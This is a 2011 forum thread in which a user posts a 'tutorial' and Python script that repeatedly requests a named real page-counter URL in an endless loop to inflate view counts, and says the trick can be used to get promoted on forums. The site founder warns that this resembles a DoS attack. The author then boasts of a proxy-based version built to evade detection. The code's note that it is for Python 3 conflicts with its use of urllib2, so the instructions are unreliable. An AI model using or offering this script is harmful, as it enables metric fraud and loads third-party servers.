How to mess up Basic counter scrips on Web-pages

Invasive contributor
13Jan2011,14:33   #1
lionaneesh's Avatar
Hey today in this tutorial of mine I will demonstrate how to mess up the basic/inelegant counter scrips on the web-pages counting view count etc..

Note : The info provided by this page is just for educational purposes and should not be used for unethical purposes

The Target



I am using Another PhpPageCounter by:WGREP [http://www.wgrep.com/phpcounter.php as a target because its the top rated counter by Hotscripts [http://www.hotscripts.com/category/p...ams/counters/]

The Code


This code is for Python 3.0 if using previous versions change 'urllib2' occurrences in the page to urllib...To know why
Read :-
http://docs.python.org/library/urllib.html

Code:
import urllib2
counter = 0;
hostname = "http://www.wgrep.com/phpcounter.php";
print("Messing up Counter of " +hostname);
try :
        while 1:
                source = urllib2.urlopen(hostname).read()
                counter = counter + 1;
                print(counter);
except :
        print("\nThanks for using CounterMess\n\tMade By : lionaneesh \n\tAKA\n\tExp|i(t-Hax0r")

Uses



If any forum is using this script you can increase the visitors count to your article and easily be promoted to Author etc..
I hope G4E is safe!!!

References



Thanks for viewing my Article...
Have fun...and keep the comments coming..
Scripting like this
Go4Expert Founder
13Jan2011,16:25   #2
shabbir's Avatar
Don't attempt such automated page loads because that can lead to a ban of your account / ip and it will be handled by our host where we have the firewall and then nothing can be done unless you change your ISP or use a proxy.

Also articles views is one of the way to understand how popular those articles are but that is not the only way because we even track the source of the users and that is where your script can be of no use.

Now coming to your articles this is nothing but a way to simulate DoS attack and so be careful on those things.
Invasive contributor
13Jan2011,17:02   #3
lionaneesh's Avatar
Quote:
Originally Posted by shabbir View Post
Don't attempt such automated page loads because that can lead to a ban of your account / ip and it will be handled by our host where we have the firewall and then nothing can be done unless you change your ISP or use a proxy.

Also articles views is one of the way to understand how popular those articles are but that is not the only way because we even track the source of the users and that is where your script can be of no use.

Now coming to your articles this is nothing but a way to simulate DoS attack and so be careful on those things.
YeaH!!!!!!! I understand this and thats what i wrote in the beginning of my article...
Apologizes...
But i only wanted users to get something from it..
Scripting like this
Go4Expert Founder
13Jan2011,18:44   #4
shabbir's Avatar
Nothing to apologize but just wanted to let you know about it.
John Hoder
15Feb2011,22:36   #5
Scripting's Avatar
Man, this is very good and tricky thing !!!
Invasive contributor
15Feb2011,22:37   #6
lionaneesh's Avatar
Quote:
Originally Posted by Scripting View Post
Man, this is very good and tricky thing !!!
Yeah, I made another one.. it uses proxy's so that it makes us undetectable and can bypass any counter on the net!!!
Scripting like this
John Hoder
20Feb2011,22:57   #7
Scripting's Avatar
Can u sent it to me (on skype )? Thx
lionaneesh like this
Invasive contributor
20Feb2011,23:40   #8
lionaneesh's Avatar
Quote:
Originally Posted by Scripting View Post
Can u sent it to me (on skype )? Thx
Finish the work buddy...
We'll upload it directly to our site!!!